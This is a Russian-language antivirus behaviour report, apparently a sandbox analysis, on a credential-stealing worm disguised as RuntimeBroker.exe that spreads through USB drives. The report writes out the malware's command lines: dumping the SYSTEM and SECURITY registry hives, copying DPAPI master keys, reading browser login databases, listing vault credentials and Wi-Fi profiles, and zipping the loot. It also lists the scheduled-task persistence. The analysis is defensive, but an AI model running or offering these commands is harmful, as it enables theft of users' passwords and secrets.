Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'RuntimeBroker' = '%APPDATA%\RuntimeBroker\RuntimeBroker.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\runtimebroker task
Создает следующие файлы на съемном носителе
- <Имя диска съемного носителя>:\usb_driver.exe
- <Имя диска съемного носителя>:\delete.avi
- <Имя диска съемного носителя>:\split.avi
- <Имя диска съемного носителя>:\dial.bmp
- <Имя диска съемного носителя>:\tileimage.bmp
- <Имя диска съемного носителя>:\toolbar.bmp
- <Имя диска съемного носителя>:\dashborder_144.bmp
- <Имя диска съемного носителя>:\dashborder_96.bmp
- <Имя диска съемного носителя>:\dashborder_120.bmp
- <Имя диска съемного носителя>:\contoso.cer
- <Имя диска съемного носителя>:\contoso_1.cer
- <Имя диска съемного носителя>:\testee.cer
- <Имя диска съемного носителя>:\sdksampleunprivdeveloper.cer
- <Имя диска съемного носителя>:\testcertificate.cer
- <Имя диска съемного носителя>:\applicantform_en.doc
- <Имя диска съемного носителя>:\cveuropeo.doc
- <Имя диска съемного носителя>:\february_catalogue__2015.doc
- <Имя диска съемного носителя>:\weeklysheet1215.doc
- <Имя диска съемного носителя>:\hanni_umami_chapter.doc
- <Имя диска съемного носителя>:\glidescope_review_rev_010.docx
- <Имя диска съемного носителя>:\file_p_00000000_1371597592.docx
- <Имя диска съемного носителя>:\sdszfo.docx
- <Имя диска съемного носителя>:\thlps_keeper_mayer_1965.docx
- <Имя диска съемного носителя>:\adhd_and_obesity.docx
- <Имя диска съемного носителя>:\holycrosschurchinstructions.docx
- <Имя диска съемного носителя>:\winmine.exe
- <Имя диска съемного носителя>:\calc.exe
- <Имя диска съемного носителя>:\skypesetup.exe
- <Имя диска съемного носителя>:\chromesetup.exe
- <Имя диска съемного носителя>:\notepad.exe
- <Имя диска съемного носителя>:\64bit_notes.htm
- <Имя диска съемного носителя>:\about.htm
- <Имя диска съемного носителя>:\trivial-merge.htm
- <Имя диска съемного носителя>:\alert.htm
- <Имя диска съемного носителя>:\browse.htm
- <Имя диска съемного носителя>:\trivial-merge.html
- <Имя диска съемного носителя>:\howto-index.html
- <Имя диска съемного носителя>:\pushkin.jpeg
- <Имя диска съемного носителя>:\4f0bf7ff71f28.jpeg
- <Имя диска съемного носителя>:\1189.jpeg
- <Имя диска съемного носителя>:\13.jpeg
- <Имя диска съемного носителя>:\3.jpeg
- <Имя диска съемного носителя>:\13.jpg
- <Имя диска съемного носителя>:\1189.jpg
- <Имя диска съемного носителя>:\4f0bf7ff71f28.jpg
- <Имя диска съемного носителя>:\3.jpg
- <Имя диска съемного носителя>:\dag2_panel1_320_ref.mov
- <Имя диска съемного носителя>:\firefly1.mov
- <Имя диска съемного носителя>:\scan.mov
- <Имя диска съемного носителя>:\clip_480_5sec_6mbps_h264.mp4
- <Имя диска съемного носителя>:\video_1.mp4
- <Имя диска съемного носителя>:\2015-02-worms-nanoparticle-toxicity.pdf
- <Имя диска съемного носителя>:\2015-02-patients-topic-work-related-asthma-jobs.pdf
- <Имя диска съемного носителя>:\ff_ot_user_guide.pdf
- <Имя диска съемного носителя>:\lom602.pdf
- <Имя диска съемного носителя>:\7790_preview.pdf
- <Имя диска съемного носителя>:\investmentbankca_ca8.pem
- <Имя диска съемного носителя>:\server.pem
- <Имя диска съемного носителя>:\ck.pem
- <Имя диска съемного носителя>:\systisoft.pem
- <Имя диска съемного носителя>:\ck_ugo.pem
- <Имя диска съемного носителя>:\cbz.png
- <Имя диска съемного носителя>:\cleanlyrics.png
- <Имя диска съемного носителя>:\background.png
- <Имя диска съемного носителя>:\sim_gametheory_to_finance.ppt
- <Имя диска съемного носителя>:\proposaltemplates.ppt
- <Имя диска съемного носителя>:\ppswamp.ppt
- <Имя диска съемного носителя>:\metac.ppt
- <Имя диска съемного носителя>:\asaprojectcompetition.pptx
- <Имя диска съемного носителя>:\waterresourcesag.pptx
- <Имя диска съемного носителя>:\indogerman2010.pptx
- <Имя диска съемного носителя>:\middaugh_keynote.pptx
- <Имя диска съемного носителя>:\gruenspecht_02172016.pptx
- <Имя диска съемного носителя>:\digest.rdf
- <Имя диска съемного носителя>:\contenttypes.rdf
- <Имя диска съемного носителя>:\elvisimp.rdf
- <Имя диска съемного носителя>:\sioc.rdf
- <Имя диска съемного носителя>:\skos.rdf
- <Имя диска съемного носителя>:\20140114.rdf
- <Имя диска съемного носителя>:\router_manual.rtf
- <Имя диска съемного носителя>:\pubnet_855.rtf
- <Имя диска съемного носителя>:\myhrvoldhanssenbiharfamine.rtf
- <Имя диска съемного носителя>:\waterlandhealthkano.rtf
- <Имя диска съемного носителя>:\pandp.rtf
- <Имя диска съемного носителя>:\military_callsigns_0311.rtf
- <Имя диска съемного носителя>:\static_electricity_easy_and_quick_activities.rtf
- <Имя диска съемного носителя>:\flower_trans_matte.wmv
- <Имя диска съемного носителя>:\babyboymaintoscenesbackground.wmv
- <Имя диска съемного носителя>:\babyboymaintoscenesbackground_pal.wmv
- <Имя диска съемного носителя>:\passport_pal.wmv
- <Имя диска съемного носителя>:\price030215.xls
- <Имя диска съемного носителя>:\excel_example.xls
- <Имя диска съемного носителя>:\fiche_inscription_2015.xls
- <Имя диска съемного носителя>:\suspendedcompanies.xlsx
- <Имя диска съемного носителя>:\cee_mmsprogram_summary_public.xlsx
- <Имя диска съемного носителя>:\2013_finalsummaryforweb.xlsx
- <Имя диска съемного носителя>:\highly_cited_2001.xlsx
- <Имя диска съемного носителя>:\national_autism_preparation_programs.xlsx
- <Имя диска съемного носителя>:\al.xlsx
- <Имя диска съемного носителя>:\excel_example.zip
- <Имя диска съемного носителя>:\calculatorworksheet.zip
- <Имя диска съемного носителя>:\subjectclassification.zip
- <Имя диска съемного носителя>:\price030215.zip
- <Имя диска съемного носителя>:\price.zip
- <Имя диска съемного носителя>:\1sm_price.zip
- <Имя диска съемного носителя>:\usb drive [4gb].lnk
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im chrome.exe
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\runtimebroker\runtimebroker.exe
- %TEMP%\v20_loot\system
- nul
- %TEMP%\v20_loot\security
- %TEMP%\v20_loot\chrome\local state
- %TEMP%\v20_loot\chrome\login data
- %TEMP%\v20_loot.zip
- %TEMP%\dbe3b0.tmp
- %TEMP%\dbe42f.tmp
- %TEMP%\db69c.tmp
- %APPDATA%\runtimebroker\caqall.bat
- %APPDATA%\runtimebroker\known.dat
- %TEMP%\db7092.tmp
- %TEMP%\db7094.tmp
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\runtimebroker\runtimebroker.exe
- <Имя диска съемного носителя>:\usb_driver.exe
Удаляет файлы, которые сам же создал
- %TEMP%\v20_loot.zip
- %TEMP%\dbe3b0.tmp
- %TEMP%\dbe42f.tmp
- %TEMP%\db69c.tmp
- %TEMP%\db7092.tmp
- %TEMP%\db7094.tmp
Изменяет следующие файлы
- %LOCALAPPDATA%\microsoft\vault\userprofileroaming\latest.dat
Сетевая активность
Подключается к
- 'di##ord.com':443
- 'ap#.#pify.org':443
- '89.##8.118.221':443
TCP
Другие
- 'di##ord.com':443
- 'ap#.#pify.org':443
- '89.##8.118.221':443
UDP
- DNS ASK di##ord.com
- DNS ASK ap#.#pify.org
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%APPDATA%\runtimebroker\runtimebroker.exe' migrated
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c reg save HKLM\SYSTEM "%TEMP%\V20_LOOT\SYSTEM" /y (со скрытым окном)
- '<SYSTEM32>\reg.exe' save HKLM\SYSTEM "%TEMP%\V20_LOOT\SYSTEM" /y
- '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 3 > nul & del /F /Q "<Полный путь к файлу>" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg save HKLM\SECURITY "%TEMP%\V20_LOOT\SECURITY" /y (со скрытым окном)
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 3
- '<SYSTEM32>\reg.exe' save HKLM\SECURITY "%TEMP%\V20_LOOT\SECURITY" /y
- '<SYSTEM32>\cmd.exe' /c xcopy /Y /I /E "%APPDATA%\Microsoft\Protect" "%TEMP%\V20_LOOT\DPAPI_MasterKeys" (со скрытым окном)
- '<SYSTEM32>\xcopy.exe' /Y /I /E "%APPDATA%\Microsoft\Protect" "%TEMP%\V20_LOOT\DPAPI_MasterKeys"
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im chrome.exe >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "Compress-Archive -Path '%TEMP%\V20_LOOT\*' -DestinationPath '%TEMP%\V20_LOOT.zip' -Force" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c rmdir /s /q "%TEMP%\V20_LOOT" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ver (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c dir /b "%PROGRAMFILES%" 2>nul (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass (со скрытым окном)
- '<SYSTEM32>\cmdkey.exe' /list (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c netsh wlan show profiles (со скрытым окном)
- '<SYSTEM32>\netsh.exe' wlan show profiles
- '<SYSTEM32>\cmd.exe' /c vaultcmd /listcreds:"Windows Credentials" /all 2>nul (со скрытым окном)
- '<SYSTEM32>\vaultcmd.exe' /listcreds:"Windows Credentials" /all
- '<SYSTEM32>\cmd.exe' /c vaultcmd /listcreds:"Web Credentials" /all 2>nul (со скрытым окном)
- '<SYSTEM32>\vaultcmd.exe' /listcreds:"Web Credentials" /all
- '<SYSTEM32>\cmd.exe' /c dir /s /b "%APPDATA%\Mozilla\Firefox\Profiles\*logins.json" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c wmic path SoftwareLicensingService get OA3xOriginalProductKey 2>nul (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' path SoftwareLicensingService get OA3xOriginalProductKey
- '<SYSTEM32>\cmd.exe' /c dir /t:w /o-d /b "%USERPROFILE%\Desktop\*" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c dir /t:w /o-d /b "%USERPROFILE%\Downloads\*" 2>nul (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "RuntimeBroker Task" /tr "\"%APPDATA%\RuntimeBroker\RuntimeBroker.exe\"" /sc onlogon /rl highest /f (со скрытым окном)
- '%APPDATA%\runtimebroker\runtimebroker.exe' migrated (со скрытым окном)
